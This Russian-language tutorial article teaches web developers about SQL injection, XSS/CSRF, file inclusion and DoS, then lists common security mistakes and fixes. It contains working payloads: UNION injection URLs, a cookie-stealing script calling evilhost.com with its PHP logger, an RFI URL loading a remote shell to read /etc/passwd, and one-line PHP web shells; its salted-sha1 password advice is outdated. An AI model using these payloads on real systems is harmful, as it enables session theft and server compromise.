Ликбез по уязвимостям в веб-приложениях, а также самые частые ошибки разработчиков


Эта статья — продолжение цикла статей по информационной безопасности в веб-приложениях (и не только).

Вообще думал написать о «белом ящике», но я решил что нужно сначала ликвидировать возможные пробелы у целевой аудитории (в основном веб-разработчики) в этой области.

Может многие и все знают, о чем я пишу в статье, но я попытаюсь разбавлять ее практическими примерами и занятным опытом.

Планирую, что это статья — предпоследняя. После данный цикл будет повторен, только в более сложном варианте, с бОльшим углублением в данную тему. Надеюсь меня хватит на это, и вообще, что есть смысл об этом писать.

Как обычно — ответственность за все полученные знания только на читателе :)


Наиболее часто допускаемые ошибки при разработке веб-приложений (в плане безопасности), а также краткий ликбез по эксплуатированию «популярных» уязвимостей.



Для начала немного о SQL инъекциях, XSS/CSRF, RFI/LFI

SQL inj — SQL инъекция, выполнение несанкционированных запросов
XSS/CSRF — внедрение произвольного JS кода/скрипта в страницу. XSS — Cross Site Scripting (первая буква в аббревиатуре «X» чтобы не было путаницы с CSS (стилями). CSRF — выполнение произвольных действий в браузере пользователя
RFI/LFI — Remote/Local file inclusion. Использование удаленных («извне»)/локальных файлов в своих целях
DoS — Denial Of Service. «Умный» вывод ресурса из строя (в отличии от DDoS). Данная атака производится при возможности выполнения «долгих» запросов или длительном выполнении кода.

Для того, чтобы знать, как защищать — надо знать, как взламывают ;]

SQL инъекции

Очень много разработчиков слышали о ней, знают, что надо использовать prepare в своих фреймворках, функции escape для специальных символов перед выполнением запроса. Это все конечно хорошо, но мало кто знает об их возможностях и как провести инъекцию на практике. Сейчас мы это упущение частично ликвидируем, если оно у вас есть.
Идея проста. Вместо вашего запроса выполняется еще один, или меняются параметры задуманного.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11
(кликнуть ссылку)
Логично, что -1 записи не существует. Поэтому для каждого столбца таблицы у нас будут значения 1..11 и некоторые из этих значений мы получим в браузере (количество возвращаемых значений в union должно соответствовать количеству столбцов в первом запросе). Получить информацию о текущем подключении не составит проблем, вместо тех чисел, что у нас видны на странице, подставляем функции нашего сервера БД в GET запрос.
На примере MySQL (а не «мускулом» одним едины) получаем

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,version(),3,4,5,6,database(),8,9,10,user()
(кликнуть ссылку)

И мы получили ожидаемое.
Однажды у Positive Technologies я встретил очень полезную страничку с таблицей различия SQL инъекций в одном из PDF файлов, вот она в виде картинки.

DoS. Разберем пример, где фильтруется входящий параметр для запроса, но где применима DoS атака

<?php
$limit = (int)$_GET['limit'];
$rows = mysql_query("select * from table limit 0,".$limit);
?>

Вроде бы явное приведение типов, в чем подвох? А если у нас 100 тысяч записей в этой таблице :]? Пробуем script.php?limit=_большое_число_ и получаем DoS ресурса. Часто применимо в скриптах, где ограничивается количество записей (обычно юзеру дают 5,25,50,100 записей). Злоумышленнику не составит труда подменить это значение, поэтому лучше использовать case/switch при реализации подобного функционала.

Хотел упомянуть о file_priv, который обеспечит возможность работать с файлами на ресурсе через SQL запросы.
Но все же в первую очередь sql инъекции это произвольное выполнение запросов (insert, replace, update, drop...)

XSS/CSRF

HTML инъекции принято делить на 2 вида.
Активные — html/js код сохраняется в базу и выполняется при каждом его выводе из базы (к примеру пост на форуме, данные профиля и т. д.)
Пассивные — html/js код выполняется непосредственно при обращении к скрипту с заранее сформированными параметрами. Примером может служить форма поиска на ресурсе, когда после заполнения ее html кодом он будет внедрен в результаты поиска.
Не стоит недооценивать подобные инъекции. На alert() они обычно не заканчиваются, это лишь начало.
Если у вас к примеру где-то при написании поста не фильтруется html, то вот пример «угона» cookies (я привожу пример «топорной» конструкции умышленно, тут не рассказ о тонкостях сокрытия xss). Постим сообщение вида:

<script>
var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">';
document.write(url);
</script>


Так как у нас подразумевалась активная XSS, то теперь, после того как пост попал в базу и после того, как любой пользователь (или админ) откроет наше сообщение — наш сниффер сохранит его cookies :] Т.е. sniffer.php имеет подобное содержание:
<?php
if (isset($_GET['cookie']))
{
    $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of F Y h:i:s A');
    $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n";
    $file = fopen("sniff.txt", "a");
    fwrite($file, $text);
    fclose($file);
} 
?>

Далее дело техники.
Сюда же CSRF — это атака, которая выполнит определенные действия в браузере пользователя. К примеру — добавит админа, переведет куда-либо деньги и т.п Для этого конечно нужно знать структуру страницы, чтобы переключаться по элементам и выполнять действия. CSRF очень часто используют вирусы.
Потренироваться можно тут
Но и на этом все не заканчивается :) существует не один метод проведения XSS атаки. Есть и base64, и фишка с utf7, и XSS в изображениях/флэш файлах. Есть очень много статей на эту тему, но идея остается одна — внедрение кода в страницу.

RFI/LFI

Не так часто встречаются, но имеют место быть. Пример уязвимого кода:
<?php
$module = $_GET['module'];
include($module);
?>
Наглядный пример файловой инъекции. Как применить?
http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwd

Где файл phpshell.txt будет иметь подобное содержание

<?php echo @`$_GET[c]` ?>

Ну или такое

<?=@`$c`?>
(by Raz0r, 2008 год)

Во втором варианте нужны включенные short_open_tag и register_globals
И мы получим произвольное выполнение команд на сервере с правами веб-сервера.
Иногда подобным кодом протроянивают форумы (PHPBB как пример) и не всегда можно заметить такую строчку как опасную в шаблоне (в PHPBB есть опция включения выполнения PHP в шаблонах).

На этом краткий ликбез окончен, но это лишь основы. Есть способы обхода «попыток защит». Такие фичи как magic_quotes, addslashes, WAF не являются панацеей. А хуже всего, когда сами функции языка — уязвимы (к примеру проблемы с мультибайтовыми кодировками, подключением файлов в PHP 5.2)

Наиболее частые ошибки


Debug на production

Ничего хорошего в этом нет, даже если вам это удобно. Такие директивы как error_reporting, debug (django) должны быть настроены соответствующим образом. Взлом упрощается, когда мы имеем дело уже не вслепую, когда хакер может раскрыть полный путь до веб директории, чтобы в будущем к примеру использовать при sql inj (в данном случае я про file_priv). Поэтому никаких ошибок серверного ПО, интерпретаторов конченому конечному пользователю не надо показывать. А в коде лучшим способ будут конструкции:
if ($something) someFunction() 
else
{
    echo "Сообщение об ошибке пользователю";
    writeLog(...); //записать в лог событие
}

Туда же и 404 и подобные ошибки. Следует использовать свой вид этих страниц, а не от сервера. Да и это плюс не только в плане безопасности, а общего пользования.

Directory indexing

Настраивайте сервер соответствующим образом, запрещайте это в .htaccess, в конце концов пусть у вас присутствуют пустые index файлы в директориях, где не должен быть доступен листинг директории.

.htaccess мог бы и «спасти» от недавней уязвимости нулевого дня в расширении для WordPress

XSS

Про возможности данного вида атак я уже рассказал выше. Все, что принимаете от пользователя (в том числе и в админ панели) надо фильтровать. Помогают в этом функции как htmlentities, striptags. Или escape символов в шаблонизаторах (Smarty).

SQL инъекции

Нужно использовать функционал, предоставляемый фреймворком, и ни в коем случае не использовать конкатенацию с входными параметрами (тем более — без фильтрации)! mysql_real_escape_string, prepare всегда должны быть с вами!

File Upload

К этому надо вообще относиться со всей серьезностью. Проверки расширения файла путем сравнения строк недостаточно, нужно также проверять MIME тип файла. Перед написанием модуля, использующего загрузку файлов представьте себе, что каждый пользователь, кто им будет пользоваться — хакер и у него будет только одна мысль, как через ваш модуль загрузить шелл.
А если вы надумали вызывать программы для загруженного файла (будь то его конвертация, или распаковка архива) — тут тоже очень тонкий момент со спец. символами в файлах, которые могут привести к DoS ресурса. Я сейчас об очень популярном методе атаки файловых хостингов, которые проверяют загруженные файлы на вирусы.
Атака сводится к тому, что генерируется файл с «/0» содержимым на несколько гигабайт, запаковывается в архив (в итоге он весит несколько Кб) и загружается на файлообменник. После загрузки файл распаковывается, а что дальше — стоит только догадываться :)

RFI/LFI

Выше я уже частично описал реализацию данной атаки и методы фильтрации. Прежде чем что-то подключить, в зависимости от входящих данных — нужно провести валидацию. Обычно при использовании достойных фреймворков этой проблемы не возникает.

.htaccess, индексные файлы, настройка PHP

Немного повторюсь, но: запрещаем все ненужное в папках, не допускаем индексацию директорий, отказываемся от register_globals и подобных, «не рекомендуемых» опций PHP.

Общий момент, репо-файлы.

.svn в корне при экспорте репозитория хранит исходные файлы. Так был «хакнут весь интернет». Занятное чтиво по ссылке.

Фильтруйте все входящие параметры (не забывайте про cookies!), учитывайте возможные алгоритмы выполнения ваших скриптов, настраивайте соответствующим образом права (chmod, привилегии пользователей БД, .htaccess), задумайтесь о безопасном выполнении вашего очередного коммита перед отправкой и продукт должен стать еще лучше!

Про криптостойкость. Если используете хэширование — то лучше sha1 (против md5), а еще к нему добавлять «соль».
$hash = sha1($username.':'.$password);


Источник статьи